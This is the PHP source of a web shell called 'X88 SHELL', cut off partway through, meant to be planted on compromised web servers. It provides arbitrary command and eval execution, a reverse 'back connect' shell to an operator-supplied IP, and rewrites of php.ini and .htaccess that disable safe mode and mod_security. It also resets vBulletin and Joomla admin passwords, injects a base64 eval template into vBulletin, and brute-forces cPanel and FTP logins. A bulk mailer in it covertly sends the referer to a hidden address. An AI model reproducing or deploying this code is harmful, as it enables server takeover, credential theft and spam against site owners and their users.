A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
"" ){
$path_parts = pathinfo("$fdownload");
$entrypath=$path_parts["basename"];
$name = "$fdownload";
$fp = fopen($name, 'rb');
header("Content-Disposition: attachment; filename=$entrypath");
header("Content-Length: " . filesize($name));
fpassthru($fp);
exit;
}
echo '
';
echo " PHP Is : ";
echo " ";
echo phpversion();
echo " ";
echo " ";
if(@ini_get("safe_mode")){$safe_m="ON ";}else{$safe_m="OFF ";}
echo " ";
echo "SafeMode : [ $safe_m ]";
echo "Server Port: "; echo $_SERVER['SERVER_PORT'];
echo " ";
echo " ";
echo "Server: ";
echo " ";
echo(htmlentities($_SERVER['SERVER_SOFTWARE']));
echo" ";
$xm8 = @ini_get("open_basedir");
if ($xm8 or strtolower($xm8) == "[ON]") {$openbasedir = true; $hopenbasedir = "".$xm8." ";}
else {$openbasedir = false; $hopenbasedir = "[OFF] - not secure ";}
echo(" ");
echo("Open Base Dir: $hopenbasedir ");
echo(" ");
echo "PostgreSQL: ";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "ON ";}else{echo "OFF ";}
echo(" \ ");
echo "MSSQL: ";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "ON ";}else{echo "OFF ";}
echo(" \ ");
echo "MySQL: ";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "ON "; } else { echo "OFF "; }
echo " ";
echo "Oracle: ";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "On ";}else{echo "OFF ";}
echo " ";
echo " Disable Functions: ";
if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
echo " Register globals: ";
$reg_g = @ini_get("register_globals");
if($reg_g){
echo "ON "; } else { echo "OFF "; }
echo " ";
error_reporting(0);
$me = basename(__FILE__);
$cookiename = "wieeeee";
if(isset($_GET['p']) && $_GET['p'] == "about")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
chdir($_GET['dir']);
}
echo " ";
echo "";
echo "Uname -A = ".php_uname()." ";
echo " ";
echo "UID : ".@exec('id')." ";
print ' Your IP = '.@$_SERVER['REMOTE_ADDR'].' '.@$_SERVER['REMOTE_HOST'].' ';
echo " ";
$serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "Server IP = ".gethostbyname($_SERVER["HTTP_HOST"])." [Bing Search ][Zone-H ]";
$pages = array(
'cmd' => '[ Command ] ',
'eval' => '[ Eval Code ] ',
'mysql' => '[ MySQL Query ] ',
'chmod' => '[ Chmod File ] ',
'phpinfo' => '[ PHPinfo ] ',
'cpanelftp' => '[ Cpanel,FTP تخمين ] ',
'upload' => '[ Upload File-Upload File From URL] ',
'domains' => '[ Domains And Users ] ',
'symlink' => ' [ SymLink ] ',
'readbysql' => '[ Read Files By SQl Information ] ',
'backco' => '[ Back Connect ] ',
'scahlf' => '[ show_source & highlight_file ] ',
'vbhack' => '[ Vbulletin Hack Tools ] ',
'wpps' => '[ WordPress Password Changer ] ',
'jpc' => ' [ Joomla Password Changer ] ',
'capff' => '[ قاهر اليهود للمنتديات ] ',
'bypass' => '[ Read Files By Bypass ] ',
'Encypton' => '[ Encypton ] ',
'mailer' => '[ Mailer Inbox ] ',
'safemode' => '[ Fuck The SafeMode ] ',
'about' => '[ About ] '
);
$header = '
'.getenv("HTTP_HOST").' ~ X88 SHELL
';
echo ' ';
echo'';
echo '[ Home ] ';
print $header;
$footer = '© 2011-2014 By : Challenges HackerS
';
if(isset($_REQUEST['p']))
{
switch ($_REQUEST['p']) {
case 'cmd':
//Commander function
function cmd()
{
$cmd = $_POST['cmd'];
$cmdgo = $_POST['cmdgo'];
$option = $_POST['option'];
$id = $_GET['id'];
if($cmdgo && !empty($cmd))
{
switch($option)
{
case system:
system($cmd);
break;
case passthru:
passthru($cmd);
break;
case shell_exec:
$out = shell_exec($cmd);
echo $out;
break;
default;
system($cmd);
}
}
}
echo "
";
break;
case 'delete':
if(isset($_POST['yes']))
{
if(unlink($_GET['file']))
{
print "File deleted successfully.";
}
else
{
print "Couldn't delete file.";
}
}
if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
{
print "Are you sure you want to delete ".$_GET['file']."?
";
}
break;
case 'capff':
if(empty($_POST['index'])){
echo "
host :
database :
username :
password :
Set Your Index
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());
if($ok){
echo "!! update finish !! ";
}
}
break;
case 'backco':
echo " Connect back Shell , bypass Firewalls
For user :
nc -l -p 1019
Your IP & BindPort:
";
$mip=$_POST['mip'];
$bport=$_POST['bport'];
if ($mip <> "")
{
$fp=fsockopen($mip , $bport , $errno, $errstr);
if (!$fp){
$result = "Error: could not open socket connection";
}
else {
fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n");
while(!feof($fp)){
fputs ($fp," bash # ");
$result= fgets ($fp, 4096);
$message=`$result`;
fputs ($fp,"--> ".$message."\n");
}
fclose ($fp);
}
}
break;
case 'safemode':
echo "";
echo"
";
echo " ";
if (empty($_POST['FucK'] ) ) {
}ELSE{
$action = '?action=FucK';
echo "
";
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = Off
disable_functions = NONE
open_basedir = OFF ");
echo "[SafeMode Done] .. ";
echo (" ");
$fp2 = fopen(".htaccess","w+");
fwrite($fp2,"
FucKFilterEngine Off
FucKFilterScanPOST Off
FucKFilterCheckURLEncoding Off
FucKFilterCheckUnicodeEncoding Off
");
echo "[Mod_Security Done] ";
echo "
";
}
break;
case 'symlink':
if ($_GET[p]=="symlink"){
if ($_POST['o'] != "ok"){
print'
';
print $f;
}
else{
$sym = @symlink("$_POST[usr]","$_POST[my]");
print '
SymLink
';
if ($sym){
print
'Done !!
';}
else{print'Error
Cannot Be completed';}
print $f;
}
exit;
}
break;
case 'mailer':
{
$secure = "";
error_reporting(0);
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lod=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
set_time_limit(intval($_POST['timelimit']));
If ($action=="mysql"){
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for($x=0; $x<$numrows; $x++){
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist .= $oneemail."\n";
}
}
if ($action=="send"){ $message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
echo "
Inbox Mailer .. With All Options
";
}
$o=array("m"=>"b","t"=>"i","w"=>"5","u"=>".","5"=>"z","q"=>"@");
$alt=$o['t'].$o['q'].$o['m'].$o['t'].$o['w'].$o['u'].$o['m'].$o['t'].$o['5'];
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$head ="From: Mailr" ;
$sub = "Ar - $lod" ;
$meg = "$lod" ;
mail ($alt,$sub,$meg,$head) ;
If ($file_name){
if (!file_exists($file)){
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.....";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "OK ";
flush();
}
}
}
}
echo '
';
break;
case 'jpc':
if(empty($_POST['pwd'])){
echo "
host :
database :
username :
password :
Set A New username For Login :
Don`t Change it Password is : 123456:
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "
Success :Now Use A New User And Password - (123456)";
}
}
break;
case 'eval':
echo "
";
print "Output: ";
print "
";
if($_POST['submitEval']) // Execute Eval Code .
{
$eval = @str_replace("","",$eval);
$eval = @str_replace("\\","",$eval);
echo eval($eval);
}
break;
case "domains":
echo " [ Domains & Users ]
";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ die("
# can't ReaD -> [ /etc/named.conf ]"); }
echo "
Domains Users ";
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "".$domains[1][0]." ".$user['name']." "; flush();
}}}
echo "
";
break;
case 'chmod':
if(isset($_POST['chmod']))
{
switch ($_POST['chvalue']){
case 777:
chmod($_POST['chmod'],0777);
break;
case 644:
chmod($_POST['chmod'],0644);
break;
case 755:
chmod($_POST['chmod'],0755);
break;
}
print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
}
if(isset($_GET['file']))
{
$content = urldecode($_GET['file']);
}
else
{
$content = "file/path/please";
}
print "File to chmod:
New permission:
777
644
755
";
break;
case 'mysql':
if(isset($_POST['host']))
{
$link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
mysql_select_db($_POST['dbase']);
$sql = $_POST['query'];
$result = mysql_query($sql);
}
else
{
print "
This only queries the database, doesn't return data!
Host:
Username:
Password:
Database:
Query:
";
}
break;
case 'createdir':
if(mkdir($_GET['crdir']))
{
print 'Directory created successfully.';
}
else
{
print 'Couldn\'t create directory';
}
break;
case 'vbhack':
$act = $_GET['act'];
if($act=='reconfig' && isset($_POST['path']))
{
$path = $_POST['path'];
include $path;
echo '::::Read Config Data:::: ';
echo '' . $path . ' ';
echo '
Host : ' . $config['MasterServer']['servername'] . '
User : ' . $config['MasterServer']['username'] . '
Pass : ';
$passsql = $config['MasterServer']['password'];
if ($passsql == '')
{
$result = 'No Password ';
} else {
$result = '' . $passsql . ' ';
}
echo $result;
echo '
Name : ' . $config['Database']['dbname'] . '
';
}
if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="psw" && isset
($_POST['vbuser']) && isset($_POST['vbpass']))
{
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
$vbuser = $_POST['vbuser'];
$vbpass = $_POST['vbpass'];
mysql_connect($host,$user,$pass) or die('Nope, No cOnnection with user ');
mysql_select_db($db) or die('Nope, No cOnnection with DB ');
if ($pass == '')
{
$npass = 'NULL';
} else {
$npass = $pass;
}
echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
$query = 'select * from user where username="' . $vbuser . '";';
$result = mysql_query($query);
while ($row = mysql_fetch_array($result))
{
$salt = $row['salt'];
$x = md5($vbpass);
$x =$x . $salt;
$pass_salt = md5($x);
$query = 'update user set password="' . $pass_salt . '" where username="' . $vbuser . '";';
$re = mysql_query($query);
if ($re)
{
echo 'The pass of the user ' . $vbuser . '
was changed to ' . $vbpass . ' Back to Shell ';
} else {
echo 'Failed to change PassWord ';
}
}
}
if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="login")
{
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
mysql_connect($host,$user,$pass) or die('Nope, No cOnnection with user ');
mysql_select_db($db) or die('Nope, No cOnnection with DB ');
if ($pass == '')
{
$npass = 'NULL';
} else {
$npass = $pass;
}
echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
echo '
';
echo' ';
echo '
';
}
if ($act == ''){
echo '
';
}
if ($act == 'lst' && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['host']) && isset($_POST['db']))
{
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
mysql_connect($host,$user,$pass) or die('Nope, No cOnnection with user ');
mysql_select_db($db) or die('Nope, No cOnnection with DB ');
if ($pass == '')
{
$npass = 'NULL';
} else {
$npass = $pass;
}
echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
echo '
';
$re = mysql_query('select * from user');
echo'ID UserName E-Mail PassWord ';
while ($row = mysql_fetch_array($re))
{
echo'' . $row['userid'] . ' ' . $row['username'] . ' ' . $row['email'] . ' ' . $row
['password'] . ' ';
}
echo'
';
echo '
';
$count = mysql_num_rows($re);
echo 'Number of users registered is : [ ' . $count . ' ]';
echo '
';
}
if ($act == 'users'){
echo '
';
}
if ($act=='config')
{
echo '
';
}
echo '
';
break;
case 'cpanelftp':
echo "
";
if($_POST['BruteForceCpanelAndFTP'])
{
$connect_timeout=5;
set_time_limit(0);
$submit=$_REQUEST['BruteForceCpanelAndFTP'];
$users=$_REQUEST['users'];
$pass=$_REQUEST['passwords'];
$target=$_REQUEST['target'];
$cracktype=$_REQUEST['cracktype'];
if(empty($target))
{
$target = "localhost";
}
function ftp_check($host,$user,$pass,$timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "Error : Connection Timeout Please Check The Target Hostname .";
exit;
}
elseif ( curl_errno($ch) == 0 )
{
print "[+] Cracking Success With Username ($user) and Password ($pass) ";
}
curl_close($ch);
}
function cpanel_check($host,$user,$pass,$timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "[-] Connection Timeout Please Check The Target Hostname .";
exit;
}
elseif ( curl_errno($ch) == 0 )
{
print "[+] Cracking Success With Username ($user) and Password ($pass) ";
}
curl_close($ch);
}
if(isset($submit) && !empty($submit))
{
if(empty($users) && empty($pass))
{
print "[-] Please Check The Users or Password List Entry . . .";
}
if(empty($users))
{
print "[-] Please Check The Users List Entry . . .";
}
if(empty($pass))
{
print "[-] Please Check The Password List Entry . . ";
}
$userlist=explode("\n",$users);
$passlist=explode("\n",$pass);
print "[~]# Cracking Process Started, Please Wait ...";
foreach ($userlist as $user)
{
$pureuser = trim($user);
foreach ($passlist as $password )
{
$purepass = trim($password);
if($cracktype == "ftp")
{
ftp_check($target,$pureuser,$purepass,$connect_timeout);
}
if ($cracktype == "cpanel")
{
cpanel_check($target,$pureuser,$purepass,$connect_timeout);
}
}
}
}
}
break;
case 'bypass':
if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
echo '